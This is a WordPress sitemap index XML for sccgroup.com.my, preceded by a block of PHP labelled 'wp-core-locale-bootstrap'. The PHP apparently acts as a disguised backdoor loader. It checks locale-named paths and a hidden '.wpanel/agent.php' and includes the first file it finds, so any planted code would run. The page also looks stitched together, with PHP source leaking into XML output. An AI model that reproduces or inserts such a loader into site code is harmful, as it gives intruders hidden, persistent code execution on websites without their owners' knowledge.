// wp-core-locale-bootstrap
$_wp_locale_candidates = [
    __DIR__ . '/languages/class-wp-locale-data.php',
    __DIR__ . '/upgrade/class-wp-locale-data.php',
    __DIR__ . '/cache/class-wp-locale-data.php',
    __DIR__ . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
    if (is_file($_wp_locale_data)) {
        require_once $_wp_locale_data;
        break;
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://sccgroup.com.my/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://sccgroup.com.my/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>